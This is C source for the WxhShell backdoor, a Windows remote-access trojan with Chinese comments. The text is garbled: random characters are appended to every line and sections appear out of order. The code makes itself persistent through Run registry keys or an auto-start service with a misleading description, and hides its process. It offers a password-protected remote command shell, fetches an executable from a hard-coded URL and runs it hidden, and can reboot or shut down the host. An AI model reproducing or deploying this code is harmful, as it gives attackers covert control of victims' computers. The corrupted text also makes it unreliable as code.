DWORD PebBaseAddress; (!ud"A|ab4
DWORD AffinityMask; &WbHM)_n
DWORD BasePriority; ~@^ pX*%i
ULONG UniqueProcessId; OoOwEV2p_
ULONG InheritedFromUniqueProcessId; <SRSJJR|(
} PROCESS_BASIC_INFORMATION; Ze`ms96j{
pfk)_;>,
PROCNTQSIP NtQueryInformationProcess; kDKfJp&a
]{-ib:f~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J<L"D/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uN&49o
`yXHb
HANDLE hProcess; %H"AHkge:a
PROCESS_BASIC_INFORMATION pbi; _hB7;N3
o<S(ODOfi
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BBoVn^Z*R
if(NULL == hInst ) return 0; !O,`Z`T?
)q+;+J`>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E-rGOm" m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =HoA2,R)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b<g9L4s
`?"[u"*
if (!NtQueryInformationProcess) return 0; *=QWx[K|
L{1PCs36c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .|6Wmn-uS
if(!hProcess) return 0; k1^&;}/f:
a
' <B0'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cp-p7g0wlg
p-8x>dmP(
CloseHandle(hProcess); {NIE:MXX
~<_PjV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2)`4(38
if(hProcess==NULL) return 0; :2&W9v
NSh~O!pX
HMODULE hMod; tjy@sO/Q
char procName[255]; &C E){jC
unsigned long cbNeeded; 1`&"U[{
%xwdH4_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w#$Q?u ,G
=
:\o/)+
CloseHandle(hProcess); _AVP1
~p/1
9/
if(strstr(procName,"services")) return 1; // 以服务启动 #c1c%27cmm
dBp)6ok#c
return 0; // 注册表启动 [%6"UH
r
} x_KJCU
v+2t;PJd2
// 主模块 7gbu7"Qc
int StartWxhshell(LPSTR lpCmdLine) Pu|3_3^
{ 7NfA)$
SOCKET wsl; *p%=u>?&
BOOL val=TRUE; 8DJoQl9
int port=0; pj'[
H
struct sockaddr_in door; v+`gQXJ"G
.37Jrh0Iv
if(wscfg.ws_autoins) Install(); zC\L-i>G
!.5,RIf
port=atoi(lpCmdLine); 4T:@W C
e/!xyd
if(port<=0) port=wscfg.ws_port; d#3E'8
1A\N$9Dls
WSADATA data; Zut"P3d=J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
U>
1v oc
@ * *]o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -Fs<{^E3j
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9rhl2E
door.sin_family = AF_INET; eB*0})
door.sin_addr.s_addr = inet_addr("127.0.0.1"); B=+Py%
door.sin_port = htons(port); _ye74$#
NXDuO_#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zH+a*R
closesocket(wsl); 3 At%TA:
return 1; %FO#j 6
} Tf?|*P
3It9|Y"6[
if(listen(wsl,2) == INVALID_SOCKET) { 'e06QMp@
closesocket(wsl); C.;H?So(
return 1; p{4nWeH?B
} p!3!&{
Wxhshell(wsl); Vq<\ixRi
WSACleanup(); ?Q%X,!~\:
0T7""^'&
return 0; gCY%@?YyN
Z |CL:)h
} -mK;f$X
EG[Rda
// 以NT服务方式启动 |.Y}2>{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "_
i:
{ .a`(?pPr,
DWORD status = 0; aqzIMOAf
DWORD specificError = 0xfffffff; aaM76;
f&
>[$zh
serviceStatus.dwServiceType = SERVICE_WIN32; 8!(09gW'>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; VsM~$
)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "xKykSk
serviceStatus.dwWin32ExitCode = 0; ?B~S4:9
serviceStatus.dwServiceSpecificExitCode = 0; gG6j>%y
serviceStatus.dwCheckPoint = 0; o\;cXuh
serviceStatus.dwWaitHint = 0; =;?afUj
(7_}UT@w-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3c.,T
if (hServiceStatusHandle==0) return; aaODj>
V1Opp8
status = GetLastError(); )Cfk/OnRd
if (status!=NO_ERROR) ||t"}Y
{ TY6Q;BTU
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?m>!P@
M
serviceStatus.dwCheckPoint = 0; [=q&5'FY0
serviceStatus.dwWaitHint = 0; ^J-\s_)"
serviceStatus.dwWin32ExitCode = status; NhYce>
serviceStatus.dwServiceSpecificExitCode = specificError; U^.kp#x#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (TJ )Y7E
return; dGY:?mf&
} !O}^ Y
a08`h.dyN
serviceStatus.dwCurrentState = SERVICE_RUNNING; V 0M&D,
serviceStatus.dwCheckPoint = 0; V*1hoC#
serviceStatus.dwWaitHint = 0; aBonq]W
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .>Fy ]Cqoh
} r0fxEYze&
yO`HL'SMo
// 处理NT服务事件,比如:启动、停止 B
LI
9(@
VOID WINAPI NTServiceHandler(DWORD fdwControl) \T]'d@Wyd
{ *kE<7
switch(fdwControl) 51&K
{ 78fFAN`
case SERVICE_CONTROL_STOP: 7)#8p@Q
serviceStatus.dwWin32ExitCode = 0; jZ\a:K?
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5.3=2/
serviceStatus.dwCheckPoint = 0; 84eqT[I'
serviceStatus.dwWaitHint = 0; H%z9VJ*!0
{ waI:w,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Wz`P#/
} e;G}T%W
return; Ods/1 KW
case SERVICE_CONTROL_PAUSE: VW/ICX~"d
serviceStatus.dwCurrentState = SERVICE_PAUSED; &K.js
break; yrVk$k#6}
case SERVICE_CONTROL_CONTINUE: vQ",rP%
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7U,[Ruu
break; \]=''C=J
case SERVICE_CONTROL_INTERROGATE: Z& W*@(dX
break; o!-kwtw`l
}; X&14;lu%p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y}bliN7;1e
} O~
]3 .b
y8arFG
// 标准应用程序主函数 #Li6RSeW
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M!)~h<YL
{ #M~6A^)
a*(,ydF|L
// 获取操作系统版本 {|D7H=f
OsIsNt=GetOsVer(); 8%EauwAx
GetModuleFileName(NULL,ExeFile,MAX_PATH); lzDA0MPI:
xg8$ <Ut
// 从命令行安装 x>TIQU=\
if(strpbrk(lpCmdLine,"iI")) Install(); cWS 0B $$
`+0K~k|DC
// 下载执行文件 EYXHxo
if(wscfg.ws_downexe) { BDiN*.w5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^Ez`WP
WinExec(wscfg.ws_filenam,SW_HIDE); !/RL.`!>
} `ZhS=ezgr
aF]cEe
if(!OsIsNt) { k(23Zt]
// 如果时win9x,隐藏进程并且设置为注册表启动 UOYhz.
HideProc();
V
krjs0
StartWxhshell(lpCmdLine); I92orr1
} &cHA xker
else F+Q(^Nk
if(StartFromService()) thK4@C|X4
// 以服务方式启动 dp DPSI
StartServiceCtrlDispatcher(DispatchTable);
uoi~JF
else * ,#SwZ
// 普通方式启动 {&,MkWgG
StartWxhshell(lpCmdLine); fuao*L]
Lh
rU fy
return 0; G'IRqO*]
} wx[Y2lUh6
$WICyI{$
# ;3v4P
ki=]#]rg
=========================================== *1`q
x+1
F*TkQ\y
f)#rBAkt
w)7 s]Ld
9[,+4&wX7
q'1
86L87
" 8ZL9>"%l
X(M|T]`b:
#include <stdio.h> G{]tB w
#include <string.h> >1S39n5z.
#include <windows.h> =s/UF _JN
#include <winsock2.h> we}G%09L
#include <winsvc.h> N SkIzaNY
#include <urlmon.h> uG,*m'x']
Bm4fdf#A]
#pragma comment (lib, "Ws2_32.lib") !5*
#pragma comment (lib, "urlmon.lib") V<ExR@|}.%
Gk-49|qIV
#define MAX_USER 100 // 最大客户端连接数 VbfTdRD-
#define BUF_SOCK 200 // sock buffer 2C[xrZa^
#define KEY_BUFF 255 // 输入 buffer o_R_
ffI
z>Of:
#define REBOOT 0 // 重启 n}L
Jt
#define SHUTDOWN 1 // 关机 kxWcWl8
i)=dp!Bx^
#define DEF_PORT 5000 // 监听端口 %2,'x
NnTAKd8
#define REG_LEN 16 // 注册表键长度 Q|7l!YTzVu
#define SVC_LEN 80 // NT服务名长度 < VrHWJo
W!B\VB
// 从dll定义API Wi<g
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yc p<N>)
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P TMJ.;
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s~>0<3{5
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W'" p:Uhq
#M@Ki1
// wxhshell配置信息 |* v w(
struct WSCFG { @ebSM#F?
int ws_port; // 监听端口 uq\[^
char ws_passstr[REG_LEN]; // 口令 Mem1X rBH
int ws_autoins; // 安装标记, 1=yes 0=no e]zd6{g[m
char ws_regname[REG_LEN]; // 注册表键名 P&sYS<9q
char ws_svcname[REG_LEN]; // 服务名 B2T=O %
char ws_svcdisp[SVC_LEN]; // 服务显示名 [DD#YL\P
char ws_svcdesc[SVC_LEN]; // 服务描述信息 lcfX(~/m^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #,CK;h9jy!
int ws_downexe; // 下载执行标记, 1=yes 0=no "|nh=!L
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (8Q*NZ
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `"h[Xb#A`b
IutU~%wv
}; /zg|I?$>Z4
L['g')g.
// default Wxhshell configuration V(wANvH
struct WSCFG wscfg={DEF_PORT, 'dJ(x
"xuhuanlingzhe", 0 HPqoen$
1, bwyj[:6l
"Wxhshell", N}CeQ'l[R
"Wxhshell", uy rS6e0
"WxhShell Service", w^E$R
"Wrsky Windows CmdShell Service", HyC826~-rI
"Please Input Your Password: ", @&9 ,0x
1, RfQ*`^D
"http://www.wrsky.com/wxhshell.exe", TxP8&!d
"Wxhshell.exe" FwwOp"[~t
}; |m F=X*
$SfYO!n7Q
// 消息定义模块 /pQUu(~h_
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,d@FO|G#pt
char *msg_ws_prompt="\n\r? for help\n\r#>"; XOT|:
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H> Q
X?>j
char *msg_ws_ext="\n\rExit."; b*TQKYT
char *msg_ws_end="\n\rQuit."; w)Z-, J
char *msg_ws_boot="\n\rReboot..."; kK_9I (7c
char *msg_ws_poff="\n\rShutdown..."; =-E%vnU
char *msg_ws_down="\n\rSave to "; jL,P )TC
9a$ 7$4m
char *msg_ws_err="\n\rErr!"; g).IF.
char *msg_ws_ok="\n\rOK!"; 9o+e3TXp#
5bo')^xa
char ExeFile[MAX_PATH]; w,1&s};g\
int nUser = 0; H8V@KB
HANDLE handles[MAX_USER]; `=P=i>,
int OsIsNt; BPd *@l
&\e8c
g
SERVICE_STATUS serviceStatus; J;GYo|8
SERVICE_STATUS_HANDLE hServiceStatusHandle; 1~y\MD*-j
")i_{C,b^
// 函数声明 khVfc
int Install(void); ]PQ6 em
int Uninstall(void); 3XcFBFE
int DownloadFile(char *sURL, SOCKET wsh); &~V6g(9
int Boot(int flag); MuF{STE>->
void HideProc(void); X86r`}
int GetOsVer(void); o?/fObV@(
int Wxhshell(SOCKET wsl); zbAyYMtEk
void TalkWithClient(void *cs); Mz: "p.
int CmdShell(SOCKET sock); S!8q>d,%L
int StartFromService(void); UTVqoCHA
int StartWxhshell(LPSTR lpCmdLine); UO4z~
#n.XOet<\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ",pd 9
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ma^}7D
/
5%]O'h
// 数据结构和表定义 +wGFJLHJ
SERVICE_TABLE_ENTRY DispatchTable[] = `]4tJJy$
{ WSqo\]
{wscfg.ws_svcname, NTServiceMain}, }ws(:I^
{NULL, NULL} @y8)
"m"
};
JnPwqIF1
M.``o1b
// 自我安装 K$c?:?wmo
int Install(void) ,:xses*7
{ ,SH^L|I
char svExeFile[MAX_PATH]; p9[gG\
HKEY key; '}9 %12\^h
strcpy(svExeFile,ExeFile); Q.g44>
*T2kxN,Ik
// 如果是win9x系统,修改注册表设为自启动 09J,!NN
if(!OsIsNt) { t/J|<Ooj?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O{Y*a )"
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `>u^Pm
RegCloseKey(key); ;N^4R$Q.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .#LvvAeh
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JZ)w
RegCloseKey(key); V|)nUsU
return 0; Y2W{?<99
} #B5-3CwB
} 1AQ3<
} I]Ws
else { (l}nwyh5
#&snl
// 如果是NT以上系统,安装为系统服务 =8AL>:_
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <])kO`+G
if (schSCManager!=0) z_%}F':
{ /mwsF]Y
SC_HANDLE schService = CreateService J<MuWgx&
( KJW^pAj$B
schSCManager, ^zKP5nzL
wscfg.ws_svcname, XGAR8=tic
wscfg.ws_svcdisp, uQ3W =
SERVICE_ALL_ACCESS, Ygc.0VKMR
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (r/))I9^
SERVICE_AUTO_START, x,Z:12H0
SERVICE_ERROR_NORMAL, KouIzWf.
svExeFile, H](TSt<Q"
NULL, s]Z++Lh<{
NULL, V(M7d>N5G
NULL, !RwMUnp
NULL, Dv}VmC""
NULL D
4<,YBvV
); 9s#*~[E*
if (schService!=0) 3w8v.J8q
{ 6\RZ[gA?
CloseServiceHandle(schService); o$Z]qhq
CloseServiceHandle(schSCManager); O
+Xu?W]
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P(B&*1X
strcat(svExeFile,wscfg.ws_svcname); B3Ws)nF"
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u_.Ig|Va
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S7B?[SPrN[
RegCloseKey(key); USV;j%U4*
return 0; a 1~@m[
} bdj')%@n
} * & : J
CloseServiceHandle(schSCManager); 3^]Kd
} smPZ%P}P+c
} ZmS
]4WM<
bq z*90
return 1; U/jCM?~
} Lv@'v4.({
p{;FO?
// 自我卸载 ?|{tWR,Vb
int Uninstall(void) T1uOp5_]B
{ ^t P|8k
HKEY key; })C}'!+]
7@Xi*Azd
if(!OsIsNt) { gFnJDR
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `FByME
RegDeleteValue(key,wscfg.ws_regname); ><{Lh@{
RegCloseKey(key); Xbc:Vr
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;M5]XCPk
RegDeleteValue(key,wscfg.ws_regname); Oe&gTXo
RegCloseKey(key); K%YR; )5A
return 0; HJ!P]X_J1
} WnQ+
} ?-=<7
~$
} %)=c#H1
else { KA
elq*
VujIKc#4
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RC^k#+
if (schSCManager!=0) d+]/0J!c
{ _FzAf5DO
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e84O
6K6o
if (schService!=0) y)T|1)
{ G`z=qa j
if(DeleteService(schService)!=0) { ' [%?j?2r
CloseServiceHandle(schService); r[3 2'E
CloseServiceHandle(schSCManager); Iy@6cd,)S
return 0; Nx<fj=VJ
} 43Ua@KNi
CloseServiceHandle(schService); ):nC&M\W~
} k.wm{d]J
CloseServiceHandle(schSCManager); Ha~}NO
} R@2*Lgxz~
} s[}cj+0
afye$$X
return 1; ?;DzWCL~9
} hz rS_v
838@jip
// 从指定url下载文件 U\6Ee-1#_
int DownloadFile(char *sURL, SOCKET wsh) ,Ofou8C6
{ ML7qrc;Rx
HRESULT hr; d8VFa'|
char seps[]= "/"; h%! ,|[|
char *token; ~/;shs<9EM
char *file; gCM(h[7A
char myURL[MAX_PATH]; YRU#/TP
char myFILE[MAX_PATH]; Q;=3vUN
xn}HB
strcpy(myURL,sURL); ?e[]UO
token=strtok(myURL,seps); J:0`*7
while(token!=NULL) J+YoAf`hi
{ #X*=oG
file=token; Go PK. E$
token=strtok(NULL,seps); @Wd1+Yky
} =HHb ]JE
TJs ~}&L
GetCurrentDirectory(MAX_PATH,myFILE); {#&j